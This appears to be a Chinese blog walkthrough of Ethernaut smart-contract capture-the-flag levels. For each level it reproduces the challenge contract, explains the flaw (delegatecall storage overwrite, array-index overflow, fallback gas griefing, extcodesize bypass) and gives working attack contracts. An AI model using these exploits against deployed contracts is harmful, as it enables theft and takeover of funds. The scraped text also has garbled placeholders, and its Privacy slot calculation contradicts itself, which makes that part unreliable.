require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個(gè)vault一樣,只不過(guò)這次的data需要確**置。

根據(jù)32bytes一格的標(biāo)準(zhǔn),劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個(gè)ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個(gè)地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過(guò)將token余額置為0來(lái)完成此級(jí)別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒(méi)有完全重載完,所以說(shuō)可以直接調(diào)用ec20里面的函數(shù)進(jìn)行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點(diǎn)還是在delegatecall上,由于不會(huì)改變上下文,所以說(shuō)settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實(shí)是把slot1中的數(shù)據(jù)賦值為time。

所以說(shuō)第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個(gè)非常簡(jiǎn)單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個(gè)令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來(lái)他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點(diǎn)就是找不到合約的地址,不過(guò)所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個(gè)owner變量,這個(gè)變量經(jīng)過(guò)查詢是在slot 0中。

win10 mul

前十六個(gè)字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個(gè)合約里面,可以指定下標(biāo)元素賦值,且沒(méi)有檢查。所以說(shuō)我們只需要計(jì)算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個(gè)32bytes的數(shù)組,在slot1中存儲(chǔ)著他的長(zhǎng)度。我們要計(jì)算出一個(gè)元素的下標(biāo),如果下標(biāo)溢出,則會(huì)存儲(chǔ)到slot0中。

在Solidity中動(dòng)態(tài)數(shù)組內(nèi)變量的存儲(chǔ)位計(jì)算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個(gè)合約中,開(kāi)頭的slot為1,也就是他的長(zhǎng)度。(換句話說(shuō),數(shù)組中某個(gè)元素的slot = keccak(slot數(shù)組)+ index)

因此第一個(gè)元素位于slot keccak256(1) + 0,第二個(gè)元素位于slot keccak256(1) + 1,以此類推。

所以我們要計(jì)算的下標(biāo)就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實(shí)看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達(dá)到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個(gè)check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個(gè)check直接用合約交互即可。

第三個(gè)check實(shí)際上是個(gè)截?cái)鄦?wèn)題,也就是說(shuō)0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點(diǎn)在于第二個(gè)check,需要設(shè)定執(zhí)行到gatetwo時(shí)的gasleft % 8191 == 0。

達(dá)到這個(gè)有兩個(gè)方式,第一種方式是把原本題目合約扒下來(lái),放到debug測(cè)試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費(fèi)的gas并不相同,按照medium網(wǎng)站上說(shuō)的方式到etherscan上查了下合約信息,由于沒(méi)有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們?cè)赿ebug環(huán)境下算出了符合條件的gas,仍然不能保證會(huì)成功。

第二種方式就比較暴力,直接寫(xiě)一個(gè)for循環(huán),每次的gas都從一個(gè)值遞增1,這樣一定會(huì)遇到一個(gè)符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長(zhǎng)度不超過(guò)10的bytecode編寫(xiě)出一個(gè)合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個(gè)鏈接,說(shuō)的也比較詳細(xì):https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點(diǎn)是合約代碼的長(zhǎng)度是不會(huì)算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過(guò)三個(gè)檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個(gè)check就是部署個(gè)合約即可。

第三個(gè)利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個(gè)check比較有意思,是利用了assembler,不過(guò)含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長(zhǎng)度,需要使得其長(zhǎng)度為0。

這里在之前的magicnumber提到過(guò),合約代碼長(zhǎng)度不會(huì)算進(jìn)去構(gòu)造函數(shù)的長(zhǎng)度,所以將攻擊函數(shù)直接寫(xiě)進(jìn)構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會(huì)內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識(shí):

原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請(qǐng)注明出處:http://www.cddhlm.com/120816.html